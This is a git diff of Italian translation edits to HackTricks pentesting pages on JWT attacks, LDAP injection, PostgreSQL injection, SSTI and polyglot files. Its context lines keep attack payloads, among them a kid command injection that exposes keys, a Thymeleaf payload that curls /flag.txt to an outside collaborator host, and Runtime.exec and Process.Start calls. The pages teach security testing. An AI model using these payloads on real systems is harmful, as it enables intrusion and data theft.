I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS.
|
||||
I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiamento; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
|
||||
|
||||
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
|
||||
|
||||
|
@ -329,7 +329,7 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -10,14 +10,14 @@ Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -36,7 +36,7 @@ Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web c
|
|||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
Poi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando jwt\_ tool:
|
||||
Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_ tool:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
@ -52,7 +52,7 @@ Per verificare se la firma di un JWT viene verificata:
|
|||
|
||||
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
|
||||
* Un cambiamento nella pagina restituita indica anche una verifica.
|
||||
* Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con le affermazioni del payload.
|
||||
* Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la modifica delle affermazioni del payload.
|
||||
|
||||
### Origine
|
||||
|
||||
|
@ -65,7 +65,7 @@ Per verificare se la firma di un JWT viene verificata:
|
|||
|
||||
Controlla se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
|
||||
|
||||
### Forza bruta della chiave segreta HMAC
|
||||
### Brute-force HMAC secret
|
||||
|
||||
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
|
@ -75,7 +75,7 @@ Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
|
|||
|
||||
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per cambiare diversi valori all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
|
||||
|
||||
### Cambia l'algoritmo RS256 (asimmetrico) in HS256 (simmetrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Cambia l'algoritmo RS256(asimmetrico) in HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ogni messaggio.\
|
||||
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
|
||||
|
@ -121,7 +121,7 @@ Quando l'affermazione `kid` è presente nell'intestazione, è consigliabile cerc
|
|||
|
||||
#### Traversata del Percorso con "kid"
|
||||
|
||||
L'affermazione `kid` potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Alterare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
L'affermazione `kid` potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Alterare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt_tool, come dimostrato di seguito:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -137,7 +137,7 @@ This alteration forces the use of a known secret key, `ATTACKER`, for JWT signin
|
|||
|
||||
#### OS Injection through "kid"
|
||||
|
||||
Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Remote Code Execution (RCE). Iniettando comandi nel parametro `kid`, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE e esposizione della chiave è:
|
||||
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -145,10 +145,10 @@ Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato
|
|||
|
||||
#### jku
|
||||
|
||||
jku sta per **JWK Set URL**.\
|
||||
Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la chiave pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
||||
jku stands for **JWK Set URL**.\
|
||||
If the token uses a “**jku**” **Header** claim then **controlla l'URL fornito**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
|
||||
|
||||
First you need to create a new certificate with new private & public keys.
|
||||
First you need to create a new certificate with new private & public keys
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -236,7 +236,7 @@ Ecco un esempio: [ECDSA: Rivelare la chiave privata, se viene utilizzato lo stes
|
|||
### JTI (JWT ID)
|
||||
|
||||
Il claim JTI (JWT ID) fornisce un identificatore unico per un token JWT. Può essere utilizzato per prevenire la ripetizione del token.\
|
||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita).
|
||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita).
|
||||
|
||||
### JWT Registered claims
|
||||
|
||||
|
@ -260,15 +260,15 @@ La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -3,23 +3,23 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta una buona conoscenza del polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**Se vuoi sapere cos'è LDAP, accedi alla seguente pagina:**
|
||||
**Se vuoi sapere cos'è LDAP accedi alla seguente pagina:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -37,7 +37,7 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
|
|||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtro** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
**And** = & filterlist\
|
||||
**Or** = |filterlist\
|
||||
|
@ -50,8 +50,8 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
|
|||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = Absolute TRUE\
|
||||
**(|)** = Absolute FALSE
|
||||
**(&)** = Assoluto VERO\
|
||||
**(|)** = Assoluto FALSO
|
||||
|
||||
Ad esempio:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
@ -224,19 +224,19 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -69,9 +69,9 @@ Questa funzione eseguirà il dump dell'intero database in formato XML in un'unic
|
|||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Strings in Hex
|
||||
### Stringhe in Hex
|
||||
|
||||
Se puoi eseguire **query** passandole **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi usare convert\_from per passare la stringa come esadecimale e aggirare i filtri in questo modo:**
|
||||
Se puoi eseguire **query** passando **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi usare convert\_from per passare la stringa come hex e bypassare i filtri in questo modo:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -97,15 +97,15 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente del polacco, scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente del polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -45,7 +45,7 @@ Per prevenire vulnerabilità da server-side template injection, gli sviluppatori
|
|||
|
||||
Per rilevare Server-Side Template Injection (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
|
||||
|
||||
* Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
|
||||
* Errori generati, rivelando la vulnerabilità e potenzialmente il motore del template.
|
||||
* Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
|
||||
* **Contesto in chiaro**: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., `{{7*7}}`, `${7*7}`).
|
||||
* **Contesto di codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
|
||||
|
@ -189,7 +189,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni di template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`.
|
||||
Thymeleaf richiede che queste espressioni siano posizionate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni di template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`.
|
||||
|
||||
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio `TemplateResolver` per creare template da stringhe al volo, il che è raro.
|
||||
|
||||
|
@ -199,7 +199,7 @@ Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all
|
|||
```
|
||||
**Esempio di Vulnerabilità in Thymeleaf**
|
||||
|
||||
Considera il seguente frammento di codice, che potrebbe essere suscettibile di sfruttamento:
|
||||
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
|
@ -383,7 +383,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
|
||||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### Linguaggio di Espressione - EL (Java)
|
||||
### Expression Language - EL (Java)
|
||||
|
||||
* `${"aaaa"}` - "aaaa"
|
||||
* `${99999+1}` - 100000.
|
||||
|
@ -391,7 +391,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
|
||||
L'Expression Language (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
|
||||
* **JavaServer Pages (JSP)**: EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
|
||||
|
@ -624,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilato, che utilizza tag XML per dividere un documento in diverse parti
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Altri NodeJS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
@ -778,7 +778,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Controlla la seguente pagina per scoprire trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python:
|
||||
Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -866,7 +866,7 @@ Controlla la seguente pagina per scoprire trucchi su **bypassare l'esecuzione di
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Ulteriori dettagli su come abusare di Jinja**:
|
||||
**Maggiori dettagli su come abusare di Jinja**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
@ -905,7 +905,7 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
